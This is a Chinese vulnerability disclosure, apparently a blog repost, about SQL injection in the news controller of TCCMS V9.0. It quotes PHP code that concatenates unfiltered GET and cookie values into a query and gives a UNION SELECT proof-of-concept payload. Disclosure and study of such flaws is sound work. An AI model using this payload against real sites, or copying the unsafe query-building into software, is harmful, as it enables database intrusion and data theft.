存在sql注入漏洞的php,TCCMS在app/controller/news.class.php存在sql注入漏洞

### 1. 漏洞成因

在app/controller/news.class.php中all函数对参数过滤不严

```

public function all() {

$this->userIsLogin ();

$_Obj = M($this->objName);

$categoryObj = M("category");

$_Obj->pageSize = 20;

$where = "1=1";

$key = StringUtil::GetSQLValueString($_POST['key']);

$cid = intval($_GET['cid']);

if ($key != "") {

$where .= " and title like '$key%'";

}

if (!empty($cid) && $cid != "") {

$where .= " and classid = " . $cid;

}

if ($_GET["type"] == "user") {

$where .= " and uid = " . $_COOKIE['userId'];

}

if (isset($_GET['yz'])) {

$where .= " AND yz =".$_GET['yz'];

}

if (isset($_GET['levels'])) {

$where .= " AND levels =".$_GET['levels'];

}

if (isset($_GET['special'])) {

$where .= " AND special =".$_GET['special'];

}

if (isset($_GET['top'])) {

$where .= " AND top =".$_GET['top'];

}

if (isset($_GET['flashpic'])) {

$where .= " AND flashpic =".$_GET['flashpic'];

}

if (isset($_GET['isphoto'])) {

$where .= " AND isphoto =".$_GET['isphoto'];

}

$_Obj->setSortId();

$orderBy = $_GET['sortId'];

$_objAry = $_Obj->where($where)->orderby("id ".$orderBy)->getList();

$this->setValue("categoryObj", $categoryObj);

$this->setValue("objAry", $_objAry);

$this->setValue("Obj", $_Obj);

$this->setValue("action", "list");

$this->forward("user/newsList.html");

}

```

这里从get和cookie里获取了很多参数,都没有进行过滤,这里只拿其中的$cookie['userId']来进行测试,其他参数同理

### 2.漏洞验证

poc:

```

union select concat(floor(rand(0)*2),md5(1)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#

```

![](https://images.seebug.org/contribute/1f583546-ded2-4555-bf37-50ae08942b39-tccms2.png)

### 3. 影响版本

TCCMS V9.0

### 4. 漏洞防护方案

升级版本

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值